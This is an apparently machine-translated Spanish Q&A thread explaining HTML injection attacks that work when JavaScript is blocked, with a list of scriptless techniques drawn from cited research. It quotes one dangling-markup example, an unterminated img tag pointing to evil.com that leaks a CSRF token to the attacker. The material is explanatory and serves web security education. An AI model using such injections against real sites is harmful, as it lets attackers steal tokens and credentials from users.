Sesión secuestrada en caso de que JavaScript esté bloqueado [cerrado]

Digamos que una aplicación estaba usando la Política de seguridad de contenido correctamente, y un el atacante podría inyectar HTML, pero no puede ejecutar JavaScript. Un buen documento sobre este escenario de ataque es Postales del mundo post-xss , y uno de los ataques que se describe es el uso de " Inyección de marcado colgando ". En este ataque, el objetivo es leer un token CSRF en la página usando una etiqueta parcial <img> , por ejemplo:

<img src='http://evil.com/log.cgi?  ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'← Normally-occurring apostrophe in page text
...
</div>           

Si toma la definición de XSS de OWASP de forma muy estricta, diría que no, no es posible:

  

Los ataques de secuencias de comandos entre sitios (XSS) son un tipo de inyección en el que   Se inyectan scripts maliciosos ...

a menos que esté usando algún otro tipo de script del lado del cliente.

Dicho esto, aún podría ser vulnerable a Inyección de HTML , que está estrechamente relacionado con XSS. Con este tipo de ataque, alguien podría crear un ataque como inyectar un formulario que solicitó las credenciales y se envió a un servidor malicioso.

Muchos escenarios de ataque siguen siendo posibles. Los recursos definitivos sobre ataques de inyección HTML sin Javascript son:

• Ataques sin script: robar el pastel sin tocar el alféizar . Mario Heiderich, Marcus Niemietz, Felix Schuster, Thorsten Holz, Jörg Schwenk. CCS 2012.

• Postales del mundo post-XSS . Michal Zalewski. Diciembre de 2011.

Esos dos documentos mencionan muchos posibles ataques, entre ellos:

• Robo de contraseña: si el usuario está usando el administrador de contraseñas de su navegador, puede ser posible inyectar HTML que haga que el navegador complete automáticamente la contraseña del usuario en un cuadro de texto. El ataque también podría activar el formulario que se enviará al atacante (revelando la contraseña del usuario al atacante), o configurar las cosas para que tan pronto como el usuario haga algo, el formulario se envíe al atacante.

• Exfiltración de datos: inyecte una etiqueta que cambie el lugar donde se publica un formulario. Esto le permite al atacante robar cualquier información secreta que el usuario ingrese en la página. También hay otros métodos para que un atacante sepa lo que se muestra en la página, incluidos los tokens CSRF, la información confidencial y otra información no pública.

• Defence tu página: el atacante podría cambiar lo que se muestra en tu página web.

• Phishing: al inyectar etiquetas maliciosas, el atacante podría phishear a sus usuarios o robar credenciales de autenticación (piense en agregar un formulario de inicio de sesión que solicite al usuario su nombre de usuario y contraseña, pero donde se envía la acción del formulario a el sitio del atacante).

• Ataques CSRF: el atacante puede inyectar un marcado que monta un ataque CSRF en su sitio, si no tiene defensas CSRF o si usa el encabezado Referer o Origin para la defensa CSRF. Piense en una imagen en línea o un elemento de formulario que carga automáticamente una URL en el sitio de la víctima, o que engaña al usuario para que lo haga.

• Ataques de clickjacking / strokejacking: algunos de estos ataques no requieren Javascript, y se pueden montar simplemente inyectando un código HTML malicioso en la página.

• CSS malvado: inyecte una etiqueta de estilo que haga referencia a un CSS, luego use el hecho de que CSS puede contener Javascript (en algunos navegadores).

• Evil SVG: inyecta imágenes SVG. Las imágenes SVG pueden contener Javascript.

• Archivos de fuentes maliciosas: inyecte una etiqueta que haga que se cargue una fuente maliciosa, que luego puede desencadenar un comportamiento malicioso.

• Cambie la representación de la página, ya sea para engañar al usuario (abusando de la confianza del usuario en el sitio web), o para otros fines. Esto también puede permitir el phishing, por ejemplo, al mostrar una página de inicio de sesión con la acción de envío que apunta al sitio del atacante; Si el usuario ingresa su contraseña en esa página de inicio de sesión, el atacante aprende su contraseña.

• Ataques a Javascript de confianza, al interferir con su ejecución adecuada, por ejemplo, a través de la contaminación del espacio de nombres u otros métodos.

Estos ataques y muchos más se describen en los documentos citados anteriormente.

Para obtener información sobre seguridad web, recomiendo el siguiente libro:

• The Tangled Web: una guía para proteger aplicaciones web modernas . Michael Zalewski.

En el futuro, cuando tenga preguntas sobre aspectos oscuros de la seguridad web, ese sería el primer recurso que le recomendaría consultar. Está lleno de grandes pepitas y sabios consejos.

Para esta pregunta en particular, consulte también enlace .

Incluso si el navegador del cliente no permite la ejecución de scripts. Un atacante todavía puede modificar el DOM inyectando etiquetas HTML. Algunos ejemplos posibles ...

• Inyecte etiquetas de anclaje y engañe al usuario para que haga clic en un enlace malicioso.
• Inyecte un formulario HTML válido y envíe el botón y engañe al usuario para que realice una acción válida en el contexto de la aplicación.
• Inyecte un iframe que contenga una página maliciosa que puede pedirle al usuario que ingrese información crítica.
• En caso de que la aplicación tenga xss persistente; Todos los puntos mencionados anteriormente seguirán siendo válidos. Todavía es posible la desfiguración del sitio web.

Tenga en cuenta que el robo de la cookie de sesión no es el único riesgo asociado con los ataques xss. Un formulario de inicio de sesión falso cargado dentro de un iframe también puede causar mucho daño